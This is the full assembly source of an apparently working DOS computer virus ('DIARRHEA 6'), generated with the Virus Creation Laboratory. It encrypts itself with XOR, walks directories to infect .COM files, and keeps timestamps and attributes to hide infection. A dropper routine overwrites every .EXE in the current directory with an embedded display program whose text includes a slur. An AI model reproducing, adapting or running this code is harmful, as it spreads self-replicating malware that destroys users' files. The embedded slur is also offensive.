; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH

virus_type      equ     0                       ; Appending Virus
is_encrypted    equ     1                       ; We're encrypted
tsr_virus       equ     0                       ; We're not TSR

code            segment byte public
		assume  cs:code,ds:code,es:code,ss:code
		org     0100h

main            proc    near
		db      0E9h,00h,00h            ; Near jump (for compatibility)
start:          call    find_offset             ; Like a PUSH IP
find_offset:    pop     bp                      ; BP holds old IP
		sub     bp,offset find_offset   ; Adjust for length of host

		call    encrypt_decrypt         ; Decrypt the virus

start_of_code   label   near

		lea     si,[bp + buffer]        ; SI points to original start
		mov     di,0100h                ; Push 0100h on to stack for
		push    di                      ; return to main program
		movsw                           ; Copy the first two bytes
		movsb                           ; Copy the third byte

		mov     di,bp                   ; DI points to start of virus

		mov     bp,sp                   ; BP points to stack
		sub     sp,128                  ; Allocate 128 bytes on stack

		mov     ah,02Fh                 ; DOS get DTA function
		int     021h
		push    bx                      ; Save old DTA address on stack

		mov     ah,01Ah                 ; DOS set DTA function
		lea     dx,[bp - 128]           ; DX points to buffer on stack
		int     021h

		call    search_files            ; Find and infect a file
		call    search_files            ; Find and infect another file
		lea     dx,[di + data00]        ; DX points to data
		lea     si,[di + data01]        ; SI points to data
		push    di                      ; Save DI
		mov     ah,02Fh                 ; DOS get DTA function
		int     021h
		mov     di,bx                   ; DI points to DTA
		mov     ah,04Eh                 ; DOS find first file function
		mov     cx,00100111b            ; CX holds all file attributes
		int     021h
		jc      create_file             ; If not found then create it
write_in_file:  mov     ax,04301h               ; DOS set file attributes function
		xor     cx,cx                   ; File will have no attributes
		lea     dx,[di + 01Eh]          ; DX points to file name
		int     021h
		mov     ax,03D01h               ; DOS open file function, write
		lea     dx,[di + 01Eh]          ; DX points to file name
		int     021h
		xchg    bx,ax                   ; Transfer file handle to AX
		mov     ah,040h                 ; DOS write to file function
		mov     cx,[si]                 ; CX holds number of byte to write
		lea     dx,[si + 2]             ; DX points to the data
		int     021h
		mov     ax,05701h               ; DOS set file date/time function
		mov     cx,[di + 016h]          ; CX holds old file time
		mov     dx,[di + 018h]          ; DX holds old file data
		int     021h
		mov     ah,03Eh                 ; DOS close file function
		int     021h
		mov     ax,04301h               ; DOS set file attributes function
		xor     ch,ch                   ; Clear CH for attributes
		mov     cl,[di + 015h]          ; CL holds old attributes
		lea     dx,[di + 01Eh]          ; DX points to file name
		int     021h
		mov     ah,04Fh                 ; DOS find next file function
		int     021h
		jnc     write_in_file           ; If successful do next file
		jmp     short dropper_end       ; Otherwise exit
create_file:    mov     ah,03Ch                 ; DOS create file function
		xor     cx,cx                   ; File has no attributes
		int     021h
		xchg    bx,ax                   ; Transfer file handle to AX
		mov     ah,040h                 ; DOS write to file function
		mov     cx,[si]                 ; CX holds number of byte to write
		lea     dx,[si + 2]             ; DX points to the data
		int     021h
		mov     ah,03Eh                 ; DOS close file function
		int     021h
dropper_end:    pop     di                      ; Restore DI


com_end:        pop     dx                      ; DX holds original DTA address
		mov     ah,01Ah                 ; DOS set DTA function
		int     021h

		mov     sp,bp                   ; Deallocate local buffer

		xor     ax,ax                   ;
		mov     bx,ax                   ;
		mov     cx,ax                   ;
		mov     dx,ax                   ; Empty out the registers
		mov     si,ax                   ;
		mov     di,ax                   ;
		mov     bp,ax                   ;

		ret                             ; Return to original program
main            endp

search_files    proc    near
		push    bp                      ; Save BP
		mov     bp,sp                   ; BP points to local buffer
		sub     sp,64                   ; Allocate 64 bytes on stack

		mov     ah,047h                 ; DOS get current dir function
		xor     dl,dl                   ; DL holds drive # (current)
		lea     si,[bp - 64]            ; SI points to 64-byte buffer
		int     021h

		mov     ah,03Bh                 ; DOS change directory function
		lea     dx,[di + root]          ; DX points to root directory
		int     021h

		call    traverse                ; Start the traversal

		mov     ah,03Bh                 ; DOS change directory function
		lea     dx,[bp - 64]            ; DX points to old directory
		int     021h

		mov     sp,bp                   ; Restore old stack pointer
		pop     bp                      ; Restore BP
		ret                             ; Return to caller

root            db      "\",0                   ; Root directory
search_files    endp

traverse        proc    near
		push    bp                      ; Save BP

		mov     ah,02Fh                 ; DOS get DTA function
		int     021h
		push    bx                      ; Save old DTA address

		mov     bp,sp                   ; BP points to local buffer
		sub     sp,128                  ; Allocate 128 bytes on stack

		mov     ah,01Ah                 ; DOS set DTA function
		lea     dx,[bp - 128]           ; DX points to buffer
		int     021h

		mov     ah,04Eh                 ; DOS find first function
		mov     cx,00010000b            ; CX holds search attributes
		lea     dx,[di + all_files]     ; DX points to "*.*"
		int     021h
		jc      leave_traverse          ; Leave if no files present

check_dir:      cmp     byte ptr [bp - 107],16  ; Is the file a directory?
		jne     another_dir             ; If not, try again
		cmp     byte ptr [bp - 98],'.'  ; Did we get a "." or ".."?
		je      another_dir             ;If so, keep going

		mov     ah,03Bh                 ; DOS change directory function
		lea     dx,[bp - 98]            ; DX points to new directory
		int     021h

		call    traverse                ; Recursively call ourself

		pushf                           ; Save the flags
		mov     ah,03Bh                 ; DOS change directory function
		lea     dx,[di + up_dir]        ; DX points to parent directory
		int     021h
		popf                            ; Restore the flags

		jnc     done_searching          ; If we infected then exit

another_dir:    mov     ah,04Fh                 ; DOS find next function
		int     021h
		jnc     check_dir               ; If found check the file

leave_traverse:
		lea     dx,[di + com_mask]      ; DX points to "*.COM"
		call    find_files              ; Try to infect a file
done_searching: mov     sp,bp                   ; Restore old stack frame
		mov     ah,01Ah                 ; DOS set DTA function
		pop     dx                      ; Retrieve old DTA address
		int     021h

		pop     bp                      ; Restore BP
		ret                             ; Return to caller

up_dir          db      "..",0                  ; Parent directory name
all_files       db      "*.*",0                 ; Directories to search for
com_mask        db      "*.COM",0               ; Mask for all .COM files
traverse        endp

find_files      proc    near
		push    bp                      ; Save BP

		mov     ah,02Fh                 ; DOS get DTA function
		int     021h
		push    bx                      ; Save old DTA address

		mov     bp,sp                   ; BP points to local buffer
		sub     sp,128                  ; Allocate 128 bytes on stack

		push    dx                      ; Save file mask
		mov     ah,01Ah                 ; DOS set DTA function
		lea     dx,[bp - 128]           ; DX points to buffer
		int     021h

		mov     ah,04Eh                 ; DOS find first file function
		mov     cx,00100111b            ; CX holds all file attributes
		pop     dx                      ; Restore file mask
find_a_file:    int     021h
		jc      done_finding            ; Exit if no files found
		call    infect_file             ; Infect the file!
		jnc     done_finding            ; Exit if no error
		mov     ah,04Fh                 ; DOS find next file function
		jmp     short find_a_file       ; Try finding another file

done_finding:   mov     sp,bp                   ; Restore old stack frame
		mov     ah,01Ah                 ; DOS set DTA function
		pop     dx                      ; Retrieve old DTA address
		int     021h

		pop     bp                      ; Restore BP
		ret                             ; Return to caller
find_files      endp

infect_file     proc    near
		mov     ah,02Fh                 ; DOS get DTA address function
		int     021h
		mov     si,bx                   ; SI points to the DTA

		mov     byte ptr [di + set_carry],0  ; Assume we'll fail

		cmp     word ptr [si + 01Ah],(65279 - (finish - start))
		jbe     size_ok                 ; If it's small enough continue
		jmp     infection_done          ; Otherwise exit

size_ok:        mov     ax,03D00h               ; DOS open file function, r/o
		lea     dx,[si + 01Eh]          ; DX points to file name
		int     021h
		xchg    bx,ax                   ; BX holds file handle

		mov     ah,03Fh                 ; DOS read from file function
		mov     cx,3                    ; CX holds bytes to read (3)
		lea     dx,[di + buffer]        ; DX points to buffer
		int     021h

		mov     ax,04202h               ; DOS file seek function, EOF
		cwd                             ; Zero DX _ Zero bytes from end
		mov     cx,dx                   ; Zero CX /
		int     021h

		xchg    dx,ax                   ; Faster than a PUSH AX
		mov     ah,03Eh                 ; DOS close file function
		int     021h
		xchg    dx,ax                   ; Faster than a POP AX

		sub     ax,finish - start + 3   ; Adjust AX for a valid jump
		cmp     word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
		je      infection_done          ; If equal then exit
		mov     byte ptr [di + set_carry],1  ; Success -- the file is OK
		add     ax,finish - start       ; Re-adjust to make the jump
		mov     word ptr [di + new_jump + 1],ax  ; Construct jump

		mov     ax,04301h               ; DOS set file attrib. function
		xor     cx,cx                   ; Clear all attributes
		lea     dx,[si + 01Eh]          ; DX points to victim's name
		int     021h

		mov     ax,03D02h               ; DOS open file function, r/w
		int     021h
		xchg    bx,ax                   ; BX holds file handle

		mov     ah,040h                 ; DOS write to file function
		mov     cx,3                    ; CX holds bytes to write (3)
		lea     dx,[di + new_jump]      ; DX points to the jump we made
		int     021h

		mov     ax,04202h               ; DOS file seek function, EOF
		cwd                             ; Zero DX _ Zero bytes from end
		mov     cx,dx                   ; Zero CX /
		int     021h

		push    si                      ; Save SI through call
		call    encrypt_code            ; Write an encrypted copy
		pop     si                      ; Restore SI

		mov     ax,05701h               ; DOS set file time function
		mov     cx,[si + 016h]          ; CX holds old file time
		mov     dx,[si + 018h]          ; DX holds old file date
		int     021h

		mov     ah,03Eh                 ; DOS close file function
		int     021h

		mov     ax,04301h               ; DOS set file attrib. function
		xor     ch,ch                   ; Clear CH for file attribute
		mov     cl,[si + 015h]          ; CX holds file's old attributes
		lea     dx,[si + 01Eh]          ; DX points to victim's name
		int     021h

infection_done: cmp     byte ptr [di + set_carry],1  ; Set carry flag if failed
		ret                             ; Return to caller

set_carry       db      ?                       ; Set-carry-on-exit flag
buffer          db      090h,0CDh,020h          ; Buffer to hold old three bytes
new_jump        db      0E9h,?,?                ; New jump to virus
infect_file     endp


data00            db   "*.EXE",0

data01          dw       254h
		db      0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h
		db      000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h
		db      020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch
		db      065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh
		db      020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh
		db      073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h
		db      064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h
		db      04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h
		db      00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h
		db      074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h
		db      003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h
		db      074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh
		db      021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h
		db      0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h
		db      08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh
		db      03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh
		db      06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h
		db      00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h
		db      073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h
		db      002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah
		db      0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h
		db      0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh
		db      03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h
		db      075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh
		db      0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh
		db      08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h
		db      001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h
		db      0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh
		db      08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h
		db      0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h
		db      00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
		db      019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh
		db      01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h
		db      003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh
		db      020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h
		db      0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h
		db      0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h
		db      020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h
		db      0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h
		db      0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh
		db      020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h
		db      0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h
		db      0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
		db      003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h
		db      0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h
		db      003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h
		db      0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h
		db      0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h
		db      0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h
		db      0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h
		db      0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h
		db      0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h
		db      004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h
		db      0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h
		db      019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h
		db      020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h
		db      020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h
		db      0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h
		db      020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h
		db      020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h
		db      0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h
		db      06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
		db      003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh
		db      047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh
		db      020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h
		db      065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah
		db      069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h
		db      004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h
		db      0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h
		db      04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
		db      019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
		db      018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h
		db      04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
		db      019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
		db      018h, 019h, 04Fh, 018h

vcl_marker      db      "[VCL]",0               ; VCL creation marker

encrypt_code    proc    near
		push    bp                      ; Save BP
		mov     bp,di                   ; Use BP as pointer to code
		lea     si,[bp + encrypt_decrypt]; SI points to cipher routine

		xor     ah,ah                   ; BIOS get time function
		int     01Ah
		mov     word ptr [si + 9],dx    ; Low word of timer is new key

		xor     byte ptr [si + 1],8     ;
		xor     byte ptr [si + 8],1     ; Change all SIs to DIs
		xor     word ptr [si + 11],0101h; (and vice-versa)

		lea     di,[bp + finish]        ; Copy routine into heap
		mov     cx,finish - encrypt_decrypt - 1  ; All but final RET
		push    si                      ; Save SI for later
		push    cx                      ; Save CX for later
	rep     movsb                           ; Copy the bytes

		lea     si,[bp + write_stuff]   ; SI points to write stuff
		mov     cx,5                    ; CX holds length of write
	rep     movsb                           ; Copy the bytes

		pop     cx                      ; Restore CX
		pop     si                      ; Restore SI
		inc     cx                      ; Copy the RET also this time
	rep     movsb                           ; Copy the routine again

		mov     ah,040h                 ; DOS write to file function
		lea     dx,[bp + start]         ; DX points to virus

		lea     si,[bp + finish]        ; SI points to routine
		call    si                      ; Encrypt/write/decrypt

		mov     di,bp                   ; DI points to virus again
		pop     bp                      ; Restore BP
		ret                             ; Return to caller

write_stuff:    mov     cx,finish - start       ; Length of code
		int     021h
encrypt_code    endp

end_of_code     label   near

encrypt_decrypt proc    near
		lea     si,[bp + start_of_code] ; SI points to code to decrypt
		mov     cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop:       db      081h,034h,00h,00h       ; XOR a word by the key
		inc     si                      ; Do the next word
		inc     si                      ;
		loop    xor_loop                ; Loop until we're through
		ret                             ; Return to caller
encrypt_decrypt endp
finish          label   near

code            ends
		end     main